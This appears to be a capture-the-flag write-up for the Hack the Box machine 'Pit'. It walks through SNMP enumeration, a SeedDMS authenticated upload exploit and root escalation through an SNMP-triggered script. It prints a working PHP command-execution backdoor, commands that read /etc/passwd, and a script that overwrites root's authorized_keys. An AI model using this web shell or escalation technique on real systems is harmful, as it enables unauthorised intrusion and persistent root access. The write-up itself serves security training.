Hack the Box - Pit
Welcome back! Todays write-up is for the Hack the Box machine - Pit. This is listed as a medium Linux machine. Let's kick it off!
As usual, we start with a full nmap scan. Here are the results.
Nmap scan report for 10.10.10.241
Host is up (0.045s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 6f:c3:40:8f:69:50:69:5a:57:d7:9c:4e:7b:1b:94:96 (RSA)
| 256 c2:6f:f8:ab:a1:20:83:d1:60:ab:cf:63:2d:c8:65:b7 (ECDSA)
|_ 256 6b:65:6c:a6:92:e5:cc:76:17:5a:2f:9a:e7:50:c3:50 (ED25519)
80/tcp open http nginx 1.14.1
|_http-server-header: nginx/1.14.1
|_http-title: Test Page for the Nginx HTTP Server on Red Hat Enterprise Linux
9090/tcp open ssl/zeus-admin?
| fingerprint-strings:
| GetRequest, HTTPOptions:
| HTTP/1.1 400 Bad request
| Content-Type: text/html; charset=utf8
| Transfer-Encoding: chunked
| X-DNS-Prefetch-Control: off
| Referrer-Policy: no-referrer
| X-Content-Type-Options: nosniff
| Cross-Origin-Resource-Policy: same-origin
| <!DOCTYPE html>
| <html>
| <head>
| <title>
| request
| </title>
| <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <style>
| body {
| margin: 0;
| font-family: "RedHatDisplay", "Open Sans", Helvetica, Arial, sans-serif;
| font-size: 12px;
| line-height: 1.66666667;
| color: #333333;
| background-color: #f5f5f5;
| border: 0;
| vertical-align: middle;
| font-weight: 300;
|_ margin: 0 0 10p
| ssl-cert: Subject: commonName=dms-pit.htb/organizationName=4cd9329523184b0ea52ba0d20a1a6f92/countryName=US
| Subject Alternative Name: DNS:dms-pit.htb, DNS:localhost, IP Address:127.0.0.1
| Not valid before: 2020-04-16T23:29:12
|_Not valid after: 2030-06-04T16:09:12
|_ssl-date: TLS randomness does not represent time
...
In the scan, we see a few common ports open. We also see a hostname leak as well - dms-pit.htb. Let's add this to our hosts list. Port 80 is only hosting the basic nginx landing page. Next we check what's being hosted on port 9090. When we view this, we get a login page for CentOS. This also shows us the server name of pit.htb which we will add to the hosts list.
After some long enumeration with burpsuite,gobuster and ffuf, there wasn't much additional found. So, I head back to nmap and decide to check for UDP ports.
Command:
nmap -sU -sV 10.10.10.241
We find a port open!
Nmap scan report for 10.10.10.241
Host is up (0.096s latency).
PORT STATE SERVICE VERSION
161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)
Service Info: Host: pit.htb
We see a public string for the port. We'll run a quick snmp-check against it to see what's there.
Command:
snmp-check 10.10.10.241
Here's the info we get back:
[*] System information:
Host IP address : 10.10.10.241
Hostname : pit.htb
Description : Linux pit.htb 4.18.0-305.10.2.el8_4.x86_64 #1 SMP Tue Jul 20 17:25:16 UTC 2021 x86_64
Contact : Root <root@localhost> (configure /etc/snmp/snmp.local.conf)
Location : Unknown (edit /etc/snmp/snmpd.conf)
Uptime snmp : 10:27:29.15
Uptime system : 10:26:48.49
System date : -
[*] Processes:
Id Status Name Path Parameters
1 runnable systemd /usr/lib/systemd/systemd --switched-root --system --deserialize 18
2 runnable kthreadd ...
...
/usr/lib/systemd/systemd-journald
858 runnable systemd-udevd /usr/lib/systemd/systemd-udevd
916 unknown kdmflush
924 unknown nfit
929 unknown xfs-buf/dm-2
930 unknown xfs-conv/dm-2
931 unknown xfs-cil/dm-2
932 unknown xfs-reclaim/dm-
933 unknown xfs-eofblocks/d
934 unknown xfs-log/dm-2
935 runnable xfsaild/dm-2
942 runnable jbd2/sda1-8
943 unknown ext4-rsv-conver
966 runnable auditd /sbin/auditd
968 runnable sedispatch /usr/sbin/sedispatch
1000 runnable irqbalance /usr/sbin/irqbalance --foreground
1001 runnable dbus-daemon /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
1003 runnable polkitd /usr/lib/polkit-1/polkitd --no-debug
1005 runnable VGAuthService /usr/bin/VGAuthService -s
1006 runnable vmtoolsd /usr/bin/vmtoolsd
1007 runnable sssd /usr/sbin/sssd -i --logger=files
1013 runnable chronyd /usr/sbin/chronyd
1020 runnable rngd /sbin/rngd -f --fill-watermark=0
1044 runnable sssd_be /usr/libexec/sssd/sssd_be --domain implicit_files --uid 0 --gid 0 --logger=files
1055 runnable firewalld /usr/libexec/platform-python -s /usr/sbin/firewalld --nofork --nopid
1058 runnable sssd_nss /usr/libexec/sssd/sssd_nss --uid 0 --gid 0 --logger=files
1080 runnable systemd-logind /usr/lib/systemd/systemd-logind
1092 runnable NetworkManager /usr/sbin/NetworkManager --no-daemon
1103 runnable tuned /usr/libexec/platform-python -Es /usr/sbin/tuned -l -P
1105 runnable sshd /usr/sbin/sshd -D -oCiphers=aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128
1157 runnable crond /usr/sbin/crond -n
1163 runnable agetty /sbin/agetty -o -p -- \u --noclear tty1 linux
1184 runnable nginx nginx: master process /usr/sbin/nginx
1186 runnable nginx nginx: worker process
1187 runnable nginx nginx: worker process
1231 runnable mysqld /usr/libexec/mysqld --basedir=/usr
1480 running snmpd /usr/sbin/snmpd -LS0-6d -f
1481 runnable rsyslogd /usr/sbin/rsyslogd -n
5736 unknown kworker/u4:2-xfs-cil/dm-0
6372 unknown kworker/1:1-cgroup_destroy
6532 unknown kworker/0:0-cgroup_destroy
6884 unknown kworker/u4:0-events_unbound
6915 unknown kworker/0:3-cgroup_destroy
6918 unknown kworker/1:0-mm_percpu_wq
6943 unknown kworker/1:2-events_power_efficient
7004 unknown kworker/0:4-events_power_efficient
7033 runnable php-fpm php-fpm: master process (/etc/php-fpm.conf)
7034 runnable php-fpm php-fpm: pool www
7035 runnable php-fpm php-fpm: pool www
7036 runnable php-fpm php-fpm: pool www
7037 runnable php-fpm php-fpm: pool www
7038 runnable php-fpm php-fpm: pool www
As you can see, SNMP can give an attack quite a bit of info! After using snmp-check, snmpwalk, nmap snmp scripts, snmpenum.pl and snmpbw.pl we find a small entry showing seeddms is being hosted in /var/www/html.
We take a quick peek to see if we can get to that path on both hostnames. The site resolves on dms-pit.htb!
Some googling shows us that here are some exploits for this system but they require authentication. So we need to find some credentials. Luckily for us, we have those from our SNMP enumeration:
We try all the basics, and eventually michelle | michelle gets us in! Now that we're in, we can look to leverage some of the exploits that we found earlier. This exploit will do just fine.
Command:
searchsploit seeddms
searchsploit -m 50062
Now we just follow the instructions. We create a backdoor .php file and copy in the contents.
bd.php:
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
Now we upload the file to the documents structure here:
Now that it's uploaded, we can navigate to it as step 4 says:
Step 4: Now go to example.com/data/1048576/"document_id"/1.php?cmd=cat+/etc/passwd to get the command response in browser.
In this case our document ID is 34.
URL: http://dms-pit.htb/seeddms51x/data/1048576/34/1.php?cmd=cat+/etc/passwd
We can enumerate the system in this manual process. This URL has some good information:
When we try to view the settings.xml file, we get a blank page. When we view the source of this page, we get the full xml file! In this file we see some credentials:
Where can we use these credentials? If we circle back around to our first port scan, we still have port 9090 open with a login. We try some basic usernames with the password - the username michelle works! Now we are logged into CentOS Console.
The first thing that I see is the terminal link in the bottom left. We click it and get a web shell interface.
We are able to interact with it and get the user.txt flag!
Now, how are we going to escalate from here? We will use curl to get linpeas on the box and see what the might show.
We see some interesting permissions sets on /usr/local/monitoring
We'll use the find command to identify all things monitor.
Command:
find / -name "monitor*" 2>/dev/null
Here we see /usr/bin/monitor. Let's see what this file is.
It's a basic shell script that runs the script given. So, now we need to make a script, put it in the vulnerable location and run it as root. We have the ability to write to /usr/local/monitoring but not to list it.
Ok, so we can make a quick shell script to copy the root.txt flag out to a location of our choice or just send a shell to us. Either way, we get what we want right?
We make a quick script:
cp /root/root.txt /tmp/.item
Now we host it via SimpleHTTPServer and curl it down to the target.
Command:
curl 10.10.14.163/cproot.sh -o cproot.sh
Now we need to move it in to the monitoring directory.
Command:
cp cproot.sh /usr/local/monitoring
Now, how do we execute it? After digging around, it looks like we might need to execute this binary from SNMP. Here is a quick article on doing just that. We need to sift through our snmp enumeration data to identify the OID - 1.3.6.1.4.1.8072.1.3.2.2.1.2. We can then snmpwalk directly to this MIB.
In order to do that, we need to install snmp-mibs-downloader and download-mibs.
Command:
apt-get install snmp-mibs-downloader download-mibs
With those installed, we can then run snmpwalk.
Command:
snmpwalk -m +MIBZ -v2c -c public 10.10.10.241 nsExtendObjects
This runs sucessfully, however, our key isn't copied out :( . We'll generate a new SSH Key and modify our script to append it to the Authorized_Keys file.
Command:
sshkey-gen
With our a new key created, our new script will look like this:
#!/bin/bash
echo "SSH KEY" > /root/.ssh/authorized_keys
There is a job clearing out the files of /usr/local/monitoring/ so we need to repeat the above steps... again.
Finally, everything in place and we run the snmpwalk.
Finally, root access! We head over and snag our root.txt flag! This machine was obscure and out of the box! Hopefully something was learned along the way!
